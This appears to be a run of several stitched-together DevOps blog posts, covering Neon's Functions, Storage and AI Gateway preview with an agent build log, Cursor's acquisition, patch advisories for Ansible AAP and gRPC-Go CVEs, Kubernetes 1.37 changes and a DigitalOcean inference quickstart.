About 113x. And that is for one round trip. A request that reads a session, loads a user, fetches their settings, and runs three more queries pays that distance once per query if it runs them in sequence. At 1.2 ms the six-query endpoint spends roughly 7 ms talking to the database; at 135 ms it spends most of a second, and no amount of application tuning fixes it, because the time is in the network. This is the tax co-located compute removes. It is also where a lot of "serverless Postgres is slow" folklore actually comes from: not the database, but a function in one region reconnecting to a database in another on every cold start.

To be fair about the comparison: a real deployment is rarely as far away as Europe-to-Virginia. If your Lambda and your database are both in us-east-1 the gap is smaller. But "both in the same region" is exactly the property Neon Functions give you by default instead of by careful configuration, and "smaller" is not "zero."

What it is, and what it is not

A few things are worth stating plainly before you build around this, because it is a private preview and it has clear edges.

Beyond that:

• These are request/response functions, not a job runner. They are built for APIs, agents, webhooks, and real-time connections (they support streaming and long-lived sockets, not just quick replies). Background work, queues, retries, and schedules are a different kind of compute; pair them with something like Inngest or QStash.
• Function memory is fixed (2048 MiB at preview), so this is not yet a knob-for-everything compute platform.
• It is a Neon-shaped commitment. One config file declaring your functions is convenient precisely because it is integrated. That is coupling, traded for the locality and the branching.

Who this is for

If your backend already lives in mature infrastructure-as-code with compute and database carefully placed in the same region, Neon Functions are not solving a problem you have. You already paid the cost to make the hop short.

The teams this helps are the ones who never got around to that: side projects and small teams whose compute and database drifted into different regions because nobody decided otherwise, and anyone who wants a pull request to spin up a genuinely isolated backend without wiring it by hand. For them, "the function runs next to the database, on this branch's data, at this URL" is a real reduction in both latency and moving parts, and it is the default rather than a configuration you have to get right.

We dig into the bigger picture in Neon is becoming a backend platform, not just Postgres, and the rest of this series walks through the other things a branch-scoped function unlocks: streaming agents, MCP servers, and preview environments that include the backend. The full demo, including the /db-latency endpoint, is here:

Neon's June 2026 platform preview collapses that list. The pitch is that the database, the compute, the storage, and the model gateway all come from one account and branch together. I wanted to know if that was real or a slide, so I built the canonical example end to end: an image-generating agent that takes a prompt, calls a model, stores the result, and indexes it in Postgres. This is the build log, with the real commands and output, and the parts where the preview still shows.

(Companion repo: The-DevOps-Daily/neon-ai-agent. Everything below ran against a fresh project created while writing.)

One command to scaffold the whole stack

Neon ships starter templates through its CLI. The image agent is one of them:

neonctl bootstrap ./ai-agent --template ai-sdk

That scaffolds 26 files: a Hono function, a Drizzle schema, a neon.ts config, and (a nice touch) a .agents/skills/ directory with skill docs for the AI assistant you are probably using to edit the project. Neon bundles agent instructions for its own products, which tells you who this template is aimed at.

The file that matters is neon.ts. It is the entire backend declared in one object:

import { defineConfig } from '@neondatabase/config/v1';

export default defineConfig({
  preview: {
    aiGateway: true,
    buckets: {
      images: {},
    },
    functions: {
      imagegen: {
        name: 'AI SDK image agent',
        source: 'src/index.ts',
      },
    },
  },
});

Three lines of intent: turn on the AI gateway, give me a bucket called images, and deploy src/index.ts as a function. No connection strings, no bucket ARNs, no model API keys. Those get filled in later, automatically.

Linking creates the project, deploying creates everything else

neon link creates and attaches a Neon project. The new platform features are private preview, so there are two constraints worth stating up front: everything is in AWS us-east-2, and it only works on projects created inside the preview. Your existing Neon databases do not grow these features in place.

Then neon deploy reads neon.ts and provisions the declared services. Here is the whole sequence, link through deploy:

That last line is the actual product. Eleven environment variables (the DATABASE_URL, the S3 access key/secret/endpoint, and the AI gateway token and base URL) all written for me, all scoped to this branch. The four credentials I would normally collect from four dashboards arrived from one deploy.

The model call: one credential, any provider

The AI Gateway is OpenAI-compatible. Your existing SDK works by changing only the base URL, so the same chat completion against the cheapest catalog model looks like this in whatever you already use:

Hitting it once returns exactly what you would expect from the model:

{
  "model": "gpt-5-nano-2025-08-07",
  "choices": [{ "message": { "role": "assistant",
    "content": "Neon Postgres branching creates lightweight, independent
      clones of a running database that can be developed in isolation..." }}]
}

The same token reaches around 25 models across Anthropic, OpenAI, Google, and a few open-source providers. You move between them by changing one model string. There is no separate OpenAI or Anthropic account in this project. The published prices look like each provider's own list rate, so the gateway reads as pass-through with the convenience of a single credential:

The point is not the specific numbers, it is that "use a cheap model in CI and a frontier model in prod" becomes a config value rather than a second vendor integration.

Storage that the function can reach with the normal S3 SDK

The images bucket is plain S3 as far as your code is concerned. The injected AWS_* variables point the standard AWS SDK at a branch-scoped endpoint, so this just works inside the function with no custom client:

const s3 = new S3Client({ forcePathStyle: true });
await s3.send(new PutObjectCommand({
  Bucket: 'images', Key: key, Body: jpeg, ContentType: 'image/jpeg',
}));
const url = await getSignedUrl(s3, new GetObjectCommand({ Bucket: 'images', Key: key }));

I confirmed it directly: a PutObject then GetObject round-tripped, and the presigned URL came back on a host scoped to the branch (br-green-star-….storage.c-3.us-east-2.aws.neon.tech). That branch scoping is the part you cannot get by bolting an external S3 bucket onto a database: open a branch and its files fork with it, so a preview environment never writes into production's objects.

Putting it together: the agent runs

The function is a small handler. It streams a model response, and when the model calls its image-generation tool, it uploads the JPEG to the bucket, inserts a row in Postgres, and returns a presigned URL. Calling the deployed agent:

curl -X POST "$IMAGEGEN_URL" -H 'content-type: application/json' \
  -d '{"messages":[{"role":"user",
       "content":"Draw a small minimalist server rack icon, flat style"}]}'

The response streams back as the agent narrates and draws, and afterward the side effects are all there. The object is in the bucket, and the row is in Postgres pointing at it:

 id |              prompt               |             bucket_key              | bytes
----+-----------------------------------+-------------------------------------+-------
  2 | Draw a small minimalist server... | generated/ed49b102-…-f8c46e2f8c16.jpg | 47372
  1 | Draw a small minimalist server... | generated/9125d5b4-…-63b54a892695.jpg | 47372

From an empty directory to a deployed agent that generates an image, stores it, and indexes it in Postgres took a few minutes and exactly one credential. The model call, the file write, and the database insert were all wired by the platform, not by me.

Where it still shows the preview

The build was smooth, but it is private preview and a few seams are worth knowing before you plan around it.

• Functions are request/response, not a job runner. Great for the agent's synchronous loop and streaming; background work (queues, retries, schedules) still belongs to something like Inngest or QStash.
• Two gateway dialects, and it matters. The OPENAI_BASE_URL Neon injects points at the OpenAI Responses API route. A plain chat-completions call needs the mlflow dialect route instead. I hit a 404 until I switched routes. The SKILL docs the template ships actually explain this, which is the kind of detail that saves you ten minutes if you read it first.
• Billing is half-public. Per-model token prices are listed, but whether there is a markup or preview credits on top is not spelled out. Fine for a demo, a question to ask before a budget.
• The convenience is also coupling. One config file declaring your functions, buckets, and gateway is, by design, Neon-shaped. The S3-compatible API and standard SDKs keep the exit ramps wide, but this is a bet on one vendor for four things you used to buy separately.

So is it real?

Yes, with an asterisk for "preview." The genuinely useful part is not any single feature, it is that the four pieces an agent needs arrive together, branch together, and authenticate with one credential. If you have ever spent the first afternoon of an AI side project wiring a database to a compute host to an S3 bucket to a model provider, collapsing that into one neon.ts and one deploy is a real reduction in moving parts.

Whether you should build on it today depends on your appetite for a private preview and for vendor consolidation. But as a statement of direction, an agent stack from one CLI is a clear one. We dig into the strategy behind it in Neon is becoming a backend platform, not just Postgres, and we benchmark Neon's database side in the Neon vs Supabase series. As these features leave preview, we will keep testing them the same way: real projects, real output, and the demo code published so you can run it yourself.

The full project is on GitHub. Clone it, point neonctl at a new us-east-2 project, and deploy:

In June 2026 that sentence got longer. Neon shipped a private preview that adds three new surfaces around the database: serverless Functions, S3-compatible Storage, and an AI Gateway for model calls. A fourth, Neon Auth, shows up in the templates. None of these is novel on its own. Functions look like Lambda, storage looks like S3, an AI gateway looks like a dozen other AI gateways. The reason it is worth a closer look is the through-line connecting them, and that through-line is the same primitive Neon already built its name on: branching.

This is an analysis of what actually shipped, what it replaces, and where it is still clearly a preview. I created a new project and deployed against it while writing this, so the specifics below are from the real thing, not the marketing page.

What shipped

Four pieces, all in private preview, all in AWS us-east-2, all for new projects only.

Neon Functions are Node.js compute deployed onto a database branch. You declare them in a neon.ts config file, write a standard Fetch-API handler (Hono is the recommended framework), and run neonctl deploy. Each branch gets its own function URL, the DATABASE_URL is injected automatically, and the function runs in the same region as the branch, so there is no cross-region hop to the database. They support streaming and long-lived connections (WebSockets, server-sent events), which is the deliberate split from request-scoped serverless: these are not for background jobs, they are for request/response and real-time work.

Neon Storage is S3-compatible object storage. Your existing AWS SDK, boto3, or aws CLI talk to it unchanged. The twist is that storage is scoped to a branch, so when you fork a database branch, its files fork with it.

Neon AI Gateway is a single credential that fronts models from Anthropic, OpenAI, Google, and a few open-source providers. The OpenAI and Anthropic SDKs work without code changes; you point them at a per-branch gateway endpoint. The published catalog lists around 25 models, priced per million tokens at what look like each provider's own list rates (Claude Haiku 4.5 at $1/$5 in/out, GPT-5 Nano at $0.05/$0.40, Gemini 2.5 Flash at $0.30/$2.50).

Neon Auth rounds it out with authentication that does not require standing up a separate identity service, used in the realtime-chat template alongside Next.js.

The through-line is branching

Take those four features and the obvious read is "Neon is cloning Supabase," or "Neon is becoming Vercel with a database." Both are partly true and both miss the point. The organizing idea is that every one of these surfaces inherits database branching.

A Neon branch already gave you an isolated copy of your data in milliseconds, with copy-on-write so it was cheap. Now that same branch gives you:

• an isolated function at its own URL, running your latest code against that branch's data,
• an isolated storage namespace, so files written in a preview branch never touch production objects,
• an isolated AI Gateway endpoint, so model usage on a feature branch is its own thing.

That is the part you cannot easily assemble from separate vendors. You can stitch Lambda, S3, an AI gateway, and an auth provider together yourself, plenty of teams have. What you cannot easily do is make all of them fork in lockstep when you open a pull request, and then throw the whole set away when the branch merges. The preview environment stops being "a copy of the database plus a pile of shared, mutable infrastructure" and becomes a genuinely isolated copy of the backend.

If you have ever had a preview deployment write a test file into the production S3 bucket, or seen a staging job run up a bill against the same AI key as prod, you already understand why branch-scoped everything is the actual feature here.

What it replaces, and the tax it removes

The clearest way to see the value is to count the moving parts in a typical "branchable AI app" today versus on this platform. Standing up one environment the assemble-it-yourself way usually means a database, a compute host, an object store, a few model-provider keys, and an auth service, each with its own account, credential, and region to keep in sync.

That count is illustrative, not measured: your stack may have more or fewer pieces. But the direction is the real claim. Every separate service is another credential to rotate, another thing to provision per preview environment, and another place for prod and staging to accidentally share state. Collapsing that to one account with auto-injected, per-branch credentials is less a feature than the removal of a tax you have been quietly paying.

There is a second, quieter tax it removes: distance. Because functions run in the same region as the branch, the function-to-database round trip is local. A lot of "serverless Postgres is slow" folklore is really "my Lambda in one region is talking to my database in another, over a connection it has to re-establish on every cold start." Co-locating the compute with the branch sidesteps that specific problem.

Where the seams still show

This is a private preview, and it reads like one. Worth being clear-eyed about the limits before you plan anything around it.

• Functions are not a job runner. They are explicitly request/response and real-time, not background jobs. Queued, retryable, cancellable work still belongs to something like QStash or Inngest. That is an honest scoping decision, but it means "move my whole backend here" is not yet on the table.
• Fixed function sizing. Memory is fixed (2048 MiB at preview), so this is not a knob-for-everything compute platform yet.
• Billing is half-documented. The per-model token prices are public and look like pass-through, but Neon has not publicly spelled out whether there is a markup or preview credits on the AI Gateway. For a side project that is noise; for a budget forecast it is a question to ask before you commit.
• Lock-in is the real trade. The whole pitch is integration: one config file, one credential, everything branching together. That convenience is also coupling. An S3-compatible API and standard SDKs keep the exit ramps wider than a fully proprietary stack would, but a neon.ts that declares your functions, buckets, and gateway is, by design, Neon-shaped.

Who should actually care

If you run a large, already-wired backend with mature infrastructure-as-code, none of this is urgent. You have solved preview environments, even if the solution is a pile of Terraform and a shared staging bucket.

The teams this is aimed at are the ones for whom that pile is the problem. Specifically:

• Anyone building agents. An agent wants a database to remember things, compute that can stream tokens without a timeout, storage for what it generates, and model access. Getting all four from one CLI, branchable together, is a genuinely shorter path than assembling them. It is not a coincidence that the flagship templates are agents and MCP servers.
• Teams that live in preview environments. If every pull request should get a real, isolated backend and yours currently get a database copy plus shared everything-else, branch-scoped functions and storage close that gap.
• Small teams shipping AI features. The combination of "Postgres you already use" and "model calls without managing three provider accounts" removes a couple of the most annoying setup steps.

The honest framing is that Neon is making a bet: that the database, not the compute platform, is the right center of gravity for a backend, because the database is where your state and your branching already live. Vercel is making the opposite bet from the compute side, and Supabase has been making a similar bundled-backend bet for years. Whether "everything branches with your data" is a durable advantage or a feature others copy, the next year will tell.

For now, the thing to internalize is that "Neon" no longer means "a Postgres host." It means a database with compute, storage, and model access growing out of it, all sharing the one trick Neon was already good at. If you have only ever evaluated it as a place to put a connection string, it is worth a second look on those terms.

We benchmark Neon's database side in depth in our Neon vs Supabase series, and keep a running Neon vs Supabase comparison covering architecture and pricing side by side. As these platform features leave preview, we will put them through the same treatment: real projects, real numbers, and the harness published so you can argue with our data instead of someone's vibes.

The price is the headline everyone is sharing. For an engineering audience, the price is the least interesting part. Cursor reportedly runs around $2.6 billion in annualized revenue, which means a very large number of teams now do their daily work inside an editor whose owner, roadmap, and incentives changed overnight. That is the part worth thinking about, and it is not really a story about Cursor. It is a story about what it means to make any single AI tool load-bearing in how your team ships software.

Why a DevOps audience should care about an M&A deal

Most acquisition coverage is for investors. This one matters operationally because of how deeply AI coding tools have embedded themselves into the workflow in the last two years. An AI editor is not a side utility like a linter you could swap in an afternoon. For teams that have leaned all the way in, it is where code gets written, where context lives, where custom rules and prompts and integrations accumulate. It has quietly become infrastructure.

And infrastructure with a single vendor behind it carries a specific risk that has nothing to do with whether the vendor is good. We watched a version of this play out when a frontier model was pulled by government order overnight and every team building on it had to scramble. An acquisition is a gentler version of the same lesson: the thing your workflow depends on can change hands, change direction, or change pricing, and your dependency on it is exactly as deep as you let it become.

What actually changes when the owner changes

Acquisitions rarely break anything on day one. Cursor will keep working tomorrow. The risk is slower and shows up over quarters:

• Roadmap drift. A startup optimizes for its users because it has to. A division inside a $2 trillion company optimizes for that company's strategy, which here is explicitly expanding into enterprise AI. Features you rely on may get more attention, or less, depending on whether they serve the new owner's goals.
• Pricing and packaging. New ownership eventually means new monetization. The plan you standardized your team on is a decision someone else now controls.
• Data and trust posture. Where your code and prompts go, and who can see them, is governed by the new parent's policies. For regulated teams that alone is worth a fresh read of the terms.
• Continuity. Most acquisitions go fine. Some lead to products being folded, rebranded, or sunset. You do not need to predict which; you need your workflow to survive either outcome.

None of these is a reason to panic. They are reasons to know how exposed you are before the answer matters.

Keeping your AI tooling swappable

The healthy response is not to abandon Cursor. It is good software, and it is not going anywhere this quarter. The response is to make sure your team's ability to work does not depend on it continuing to be exactly what it is today. A few habits keep the optionality cheap:

1. Keep the AI layer separable from the workflow. The more your build, review, and CI processes assume one specific editor, the harder a future switch becomes. Treat the AI assistant as an accelerant on top of a workflow that works without it, not as the workflow.
2. Do not hard-wire to proprietary-only features. Every vendor offers sticky features that lock you in. Use them with eyes open, and keep the core of how you work expressible in tools you do not control. Most AI editors speak the same underlying model APIs; the lock-in is in the surrounding glue.
3. Keep a qualified alternative warm. You do not have to use a second tool daily, but knowing that your team could move to another AI editor or assistant in a week, because you have tried it and it fits, turns a forced migration from a crisis into a decision.
4. Watch the ownership and policy surface, not just the changelog. Acquisitions, pricing changes, and data-policy updates do not show up in release notes. For a tool this central, someone should be tracking the business news the way you track its features.

This is the same playbook we argued for with AI SRE agents and with model providers generally: adopt the useful thing, get real value from it, and keep your ability to leave proportional to how much you depend on it.

The honest read

It is easy to turn a $60 billion headline into a hot take in either direction, that this validates AI coding or that it signals a bubble. Neither is a useful conclusion for someone who has to ship code on Monday. The useful conclusion is narrower and more durable: the AI development tools are consolidating into the hands of large platform companies, and the tools your team treats as essential are increasingly owned by entities whose priorities are not your productivity.

That is not a crisis. Cursor users are not in trouble, and good tools getting resources can mean better tools. It is simply a prompt to check a dependency you may not have consciously chosen to take on. The teams that will be unbothered by whatever Cursor becomes under SpaceX are the ones who could switch if they had to, and who therefore never have to.

The bug, disclosed in late June 2026 and rated CVSS 9.6 (critical), lets any authenticated user retrieve those credentials in plaintext. Not an admin. Anyone who can log in. Here is what it is, who it hits, and the broader point it makes about where your secrets really live.

What the bug is

The flaw lives in Event-Driven Ansible (EDA), the part of AAP that reacts to events and triggers rulebooks. EDA exposes a websocket API at /api/eda/ws/ansible-rulebook for worker processes to communicate. The problem: that endpoint did not verify the caller's permissions when processing worker messages. It assumed anyone connecting was a legitimate worker.

So an authenticated user can connect to that websocket and send a forged worker message carrying an arbitrary activation_id. The server, trusting the message, responds with the credentials associated with that activation, and it returns them in plaintext. According to Red Hat's advisory those credentials include OAuth tokens, vault passwords, and SSH keys: the exact material an attacker needs to move from "I have a low-privilege login" to "I own everything this platform manages."

The CVSS vector explains the 9.6: network attack vector, low complexity, no user interaction, and a low privilege requirement (you need to be authenticated, but nothing more). The only reason it is not a perfect 10 is that "authenticated" bar, which in many real deployments is a low one.

Who is affected

You are exposed if you run Ansible Automation Platform 2.5 or 2.6 with Event-Driven Ansible. The dangerous shape is the common one: an AAP instance that more than a handful of people can log into, where those people are not all equally trusted with every credential the platform holds. That describes most real installations, because the whole value of a shared automation platform is that teams share it.

The attacker does not need to be an outsider. The bug turns any authenticated account, a contractor, a junior engineer, a service account with a leaked token, into a path to the keys for your entire managed estate.

Fixing it

Red Hat has shipped patches. Update to the fixed releases:

• AAP 2.5: apply the update from advisory RHSA-2026:28497.
• AAP 2.6: apply the update from advisory RHSA-2026:28492.

Patching closes the hole, but with a credential-exposure bug you should assume the worst about the window before you patched. If your AAP was reachable by anyone you would not hand your root SSH keys to, treat the exposed credentials as potentially compromised:

1. Patch first, on both the controller and any EDA components.
2. Rotate the secrets the platform held: SSH keys, vault passwords, OAuth tokens, anything stored as an AAP credential. This is the step teams skip and the one that actually closes the incident, because the patch stops future leaks but does nothing about credentials that may already be out.
3. Review who can authenticate to AAP at all, and prune it. The blast radius of this bug was set by your login list.

The broader point: automation platforms are credential honeypots

Strip away the specifics and CVE-2026-11807 is a lesson about a category, not a product. Your automation control plane is, by design, the place where the most powerful credentials in your organization are concentrated. AAP holds the keys to the fleet. A CI/CD runner holds deploy keys, registry tokens, and cloud credentials. A low-code automation tool like n8n holds the API keys to every service it touches. These systems earn their value by being trusted with everything, which is exactly what makes a single authorization slip in one of them catastrophic.

That reframes how you should treat them:

• Least privilege on who can log in, not just on what they can do. This bug bypassed the "what they can do" layer entirely. The only control that held was "who is in the door," so make that list short and reviewed.
• Segment the credential store. If one platform holds the keys to production, staging, and every cloud account, one bug owns all three. Separate credentials by blast radius so a single platform compromise is not a total one.
• Plan for rotation before you need it. The teams who patch this fast and shrug are the ones who can rotate every AAP-held secret with a script. If rotating your automation credentials is a manual, scary, all-day job, that is a finding in itself.
• Watch the advisories for the tools that hold your keys, not just the apps you write. The software most worth patching urgently is the software trusted with the most, and that is usually your automation and CI platforms, not your web app.

Patch CVE-2026-11807 today if you run AAP. Then sit with the uncomfortable question it raises: if any logged-in user could have walked out with your SSH keys this week, what does that say about how much trust is concentrated in one place, and how quickly you could rotate your way out of it?

So this is the right time to look at what is coming, while there is still runway to prepare. The headline is continuity rather than fireworks: 1.37 keeps pushing on AI infrastructure, and it carries one cleanup that will stop some nodes from booting if you are not ready. Worth noting up front: until code freeze, graduation levels can still slip, so treat specifics as the current plan, not a signed release note.

The theme: GPUs you can slice

The throughline of the last several Kubernetes releases has been Dynamic Resource Allocation (DRA), the framework that lets pods request specialized hardware (GPUs, accelerators, NICs) with far more nuance than the old "give me one GPU" model. DRA core went GA back in 1.34, and each release since has extended it.

In 1.37 the work continues on partitionable devices (KEP-4815), which entered alpha in 1.36. The idea is exactly what it sounds like: take one physical GPU and carve it into smaller logical slices that schedule independently to different pods. For AI and ML teams this is the feature that matters, because a single modern accelerator is often far bigger than one inference workload needs, and bin-packing several tenants onto one card is the difference between a GPU that pays for itself and one that idles. This is the same economic pressure behind the memory and accelerator crunch we wrote about in the Hetzner price piece: when the hardware is scarce and expensive, the platform that lets you subdivide it wins.

If you run GPU workloads on Kubernetes, partitionable devices is the 1.37 line item to read the KEP on and test in a non-production cluster, because it changes how you model capacity.

The change that can stop kubelet from starting

Here is the one that belongs on your upgrade checklist rather than your "nice to have" list. Kubernetes 1.37 tightens the cgroup v1 retirement. If you are still running cgroup v1 nodes and have not set failCgroupV1: false, the kubelet will refuse to start on 1.37. The kubelet now relies entirely on detecting the cgroup driver from the container runtime (the KubeletCgroupDriverFromCRI behavior that went GA in 1.36), with the legacy manual driver flags removed.

In plain terms: a node that came up fine on 1.36 can fail to come up on 1.37 if it is still on cgroup v1. Most modern distributions moved to cgroup v2 a while ago, but if you run older base images, custom node images, or long-lived on-prem hosts, check this before you roll the upgrade, not during it. The same release also completes the removal of containerd 1.x support: 1.37 expects containerd 2.0 or later.

Neither of these is a surprise, both have been telegraphed for several releases, but "telegraphed" and "handled in your fleet" are different things, and this is the release where the warnings turn into hard failures.

The rest of the shape

Beyond those two, 1.37 reads as a consolidation release. DRA is the marquee work, the cgroup and containerd removals are the operational edges, and a long tail of smaller enhancements continues maturing features that went beta in 1.36 (such as the WebSocket-to-kubelet streaming work). For scale, 1.36 shipped 70 enhancements split across stable, beta, and alpha, and 1.37 continues directly from that base; the exact stable-versus-beta split for 1.37 firms up at code freeze in late July.

That "consolidation" framing is not a criticism. After several releases of aggressive AI-driven change, a cycle spent hardening DRA and finishing long-deprecated removals is exactly what operators want. The exciting releases make headlines; the consolidation releases are the ones that let you sleep.

What to do now

1. Audit your nodes for cgroup v1 before August. This is the change most likely to bite. Confirm your node images are on cgroup v2, and if any are not, plan the migration or set the flag deliberately rather than discovering it when a node will not register.
2. Confirm containerd 2.0+ across the fleet. Pair it with the cgroup check; both are runtime-level and both turn into hard failures here.
3. If you run GPUs, read KEP-4815 and test partitioning in staging. It is alpha-track, so it is opt-in, but it is the feature most likely to change how you plan capacity in 2026.
4. Wait for the official release notes before production. 1.37 is in alpha now (1.37.0-alpha.1 landed June 10) and GA is August 26. Plan now, upgrade when it is stable and your runtime checks pass.

The pattern across 2026's Kubernetes releases has been steady: more for AI hardware, fewer escape hatches for legacy node configuration. 1.37 is squarely in that groove. The upgrade itself should be calm, as long as your nodes are on cgroup v2 and a current containerd before you start.

It is rated CVSS 9.1 (critical), it lives in google.golang.org/grpc, and the reason it matters for you specifically is that gRPC-Go is rarely a dependency you chose on purpose. It rides in transitively under Kubernetes clients, observability agents, service meshes, cloud SDKs, and dozens of other Go modules. You can be exposed without a single line of gRPC in your own code. This post is what the bug is, who it actually affects, and the commands to check your own tree in a couple of minutes.

What the bug is

gRPC runs over HTTP/2, and every call carries a :path pseudo-header that names the method, canonically with a leading slash: /myapp.Orders/Cancel.

The vulnerable gRPC-Go server was too forgiving. It also accepted the same path without the leading slash, myapp.Orders/Cancel, and still routed it to the correct handler. On its own that is a harmless bit of leniency. It becomes a security hole the moment authorization runs as an interceptor that matches on the path string, which is exactly how the official grpc/authz package and most hand-rolled interceptors work.

Here is the sequence:

1. A request arrives with :path of myapp.Orders/Cancel (no leading slash).
2. The authorization interceptor evaluates its rules against that raw string. A deny rule written canonically as /myapp.Orders/Cancel does not match, because myapp.Orders/Cancel is a different string.
3. If the policy has a permissive fallback (a catch-all "allow" when nothing else matched, a common shape), the request is allowed.
4. The router, being lenient, sends it to the real Cancel handler anyway.

The deny rule was correct. It just never got a chance to fire, because the string it was asked about was not the string it was written for. This is a textbook canonicalization bug (CWE-285, improper authorization), and its blast radius is "authorization, silently skipped."

The CVSS vector tells the story: network attackable, no privileges, no user interaction, high confidentiality and integrity impact. The one piece of good news is no availability impact, this leaks and mutates, it does not crash.

Who is actually affected

Not every gRPC-Go server. You are exposed if all of these hold:

• You run a gRPC-Go server on a version before 1.79.3.
• You enforce authorization in an interceptor that keys on the method path, either google.golang.org/grpc/authz or a custom interceptor that reads info.FullMethod.
• Your policy relies on deny rules with a permissive fallback, rather than default-deny with explicit allows.

If your authorization is default-deny (nothing is allowed unless a rule explicitly permits it), the non-canonical path fails to match your allow rules too, so the request is rejected and you are not exploitable through this path. That is worth sitting with: the teams hit hardest here are the ones using blocklist-style policies, and the teams who modelled authorization as a strict allowlist mostly dodged it. Default-deny earns its keep again.

Find it in your own tree

The hard part is not fixing this, it is discovering that you ship it at all, since it is almost always transitive. Three checks, fastest first.

List every version of gRPC-Go anywhere in your module graph:

go list -m all | grep google.golang.org/grpc

If anything there is below 1.79.3, keep going. To see why it is in your build (which of your direct dependencies drags it in), ask:

go mod why -m google.golang.org/grpc

That prints the import chain, which tells you whether you can bump it directly or need to wait on (or prod) an upstream dependency to update.

Best of all, let the official vulnerability scanner connect the CVE to your actual code paths:

go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...

govulncheck is the one to trust, because it does call-graph analysis: it reports the vulnerability as actually reachable only if your binary really calls the affected code, which cuts the noise of "it is in the tree but never executed." For a CI gate, it is a clean addition.

Fixing it

The direct fix is to move gRPC-Go to 1.79.3 or later:

go get google.golang.org/grpc@v1.79.3
go mod tidy

The patch makes the server reject any :path without a leading slash, returning codes.Unimplemented instead of quietly routing it. If the vulnerable version is transitive and the dependency that pulls it in has not updated yet, a temporary replace directive or a Go module exclude can hold the line until upstream catches up, though a direct require bump is cleaner where the graph allows it.

There is also a defense-in-depth lesson worth banking regardless of this CVE: authorization that matches on a raw, externally-supplied string is fragile. Canonicalize the input before you evaluate policy against it, prefer default-deny over deny-with-fallback, and treat the path in an interceptor as untrusted until normalized. Those habits would have made this specific bug a non-event.

The bigger picture

The uncomfortable part of CVE-2026-33186 is not the bug, which is small and now fixed. It is how many teams will read the headline, think "we do not use gRPC," and move on, while a 9.1 sits three levels deep in their dependency graph under a Kubernetes client or a telemetry agent. Modern Go services pull in hundreds of modules; the ones that bite are rarely the ones you typed go get for.

So the takeaway is a habit, not a patch. Run govulncheck ./... in CI so a critical in a transitive dependency shows up as a failed build, not a blog post you skim eight months later. The leading slash is fixed. The next canonicalization bug in something you did not know you depended on is only a matter of time, and the audit that catches it takes about as long as reading this did.

Because the API speaks the OpenAI dialect, the practical version of "getting started" is mostly changing a base URL. This post takes you from nothing to a working call in about ten minutes, with curl, the OpenAI Python SDK, and the OpenAI Node SDK. Every snippet here was run against the live endpoint, so the responses and token counts you see are real.

What you need

• A DigitalOcean account.
• A couple of minutes to create a model access key.
• curl, or Python 3, or Node, depending on which example you follow.

That is the whole list. There is no GPU Droplet to create for this; serverless inference pools GPU capacity behind the endpoint and you pay only for tokens.

Step 1: Create a model access key

In the DigitalOcean Control Panel, open the AI / Inference area and go to Model Access Keys, then Create model access key. Give it a name, and choose All models so the key can call any model in the catalog (you can scope a key to specific models later for production).

One setting is worth understanding before you click create: a model access key can be bound to a VPC. A VPC-scoped key only works for requests that originate from inside that DigitalOcean private network, which is exactly what you want in production (a leaked key is useless from the public internet). For this walkthrough, where you are calling from your laptop, leave the VPC restriction off, or you will get a 403 Forbidden no matter how correct the rest of your request is. More on that in the troubleshooting note at the end.

Copy the key when it is shown and keep it somewhere safe. Then put it in your shell so the examples can read it:

export DO_INFERENCE_KEY="paste-your-key-here"

Treat this like any other secret: environment variable or secrets manager, never committed to a repo or pasted into frontend code.

Step 2: Your first call with curl

The endpoint lives at https://inference.do-ai.run/v1 and mirrors the OpenAI chat completions API. We will use openai-gpt-oss-20b, the cheapest text model in the catalog, which is plenty for a first call:

curl https://inference.do-ai.run/v1/chat/completions \
  -H "Authorization: Bearer $DO_INFERENCE_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "openai-gpt-oss-20b",
    "messages": [
      {"role": "system", "content": "You are a concise assistant."},
      {"role": "user", "content": "In one sentence, what is a reverse proxy?"}
    ],
    "max_tokens": 80
  }'

The response is the standard OpenAI shape. Here is the real one this returned, trimmed for readability:

{
  "object": "chat.completion",
  "model": "openai-gpt-oss-20b",
  "choices": [
    {
      "index": 0,
      "finish_reason": "stop",
      "message": {
        "role": "assistant",
        "content": "A reverse proxy is a server that sits between clients and backend servers, receiving client requests and forwarding them to appropriate internal services while returning the responses, thereby abstracting and protecting the internal infrastructure."
      }
    }
  ],
  "usage": {
    "prompt_tokens": 87,
    "completion_tokens": 74,
    "total_tokens": 161
  }
}

That is the entire round trip. No GPU, no model download, no cold-start wait you had to manage.

Step 3: The same call with the OpenAI Python SDK

Because the API is OpenAI-compatible, you use the official openai library and point it at DigitalOcean by setting base_url. Nothing else about your code changes.

pip install openai

import os
from openai import OpenAI

client = OpenAI(
    base_url="https://inference.do-ai.run/v1",
    api_key=os.environ["DO_INFERENCE_KEY"],
)

resp = client.chat.completions.create(
    model="openai-gpt-oss-20b",
    messages=[
        {"role": "system", "content": "You are a concise assistant."},
        {"role": "user", "content": "In one sentence, what is a reverse proxy?"},
    ],
    max_tokens=80,
)

print(resp.choices[0].message.content)
print(resp.usage.prompt_tokens, "in /", resp.usage.completion_tokens, "out")

Run against the live endpoint (tested with openai 2.43.0), this printed:

A reverse proxy is a server that lies between clients and backend servers,
forwarding client requests to those servers and returning the servers' responses
back to the clients.
87 in / 91 out

If you have an existing app built on the OpenAI SDK, this is the whole migration: change base_url, change the API key, change the model name.

Step 4: The same call with the OpenAI Node SDK

Identical story in JavaScript. Install the SDK and set baseURL:

npm install openai

import OpenAI from "openai";

const client = new OpenAI({
  baseURL: "https://inference.do-ai.run/v1",
  apiKey: process.env.DO_INFERENCE_KEY,
});

const resp = await client.chat.completions.create({
  model: "openai-gpt-oss-20b",
  messages: [
    { role: "system", content: "You are a concise assistant." },
    { role: "user", content: "In one sentence, what is a reverse proxy?" },
  ],
  max_tokens: 80,
});

console.log(resp.choices[0].message.content);
console.log(resp.usage.prompt_tokens, "in /", resp.usage.completion_tokens, "out");

Tested with openai 6.44.0 for Node, this returned:

A reverse proxy is a server that sits between clients and backend servers,
forwarding client requests to the appropriate server and returning the server's
response, often providing load balancing, SSL termination, or caching.
87 in / 62 out

Reading the response

Two fields are worth knowing about beyond the obvious content:

• usage is how you reason about cost. Every call reports prompt_tokens, completion_tokens, and total_tokens. Billing is per token, so this object is your meter.
• The gpt-oss models also return a reasoning_content field alongside content, holding the model's intermediate reasoning. You usually render content to users and keep reasoning_content for debugging or logging.

To see the full catalog of model slugs you can pass as model, hit the models endpoint:

curl https://inference.do-ai.run/v1/models \
  -H "Authorization: Bearer $DO_INFERENCE_KEY"

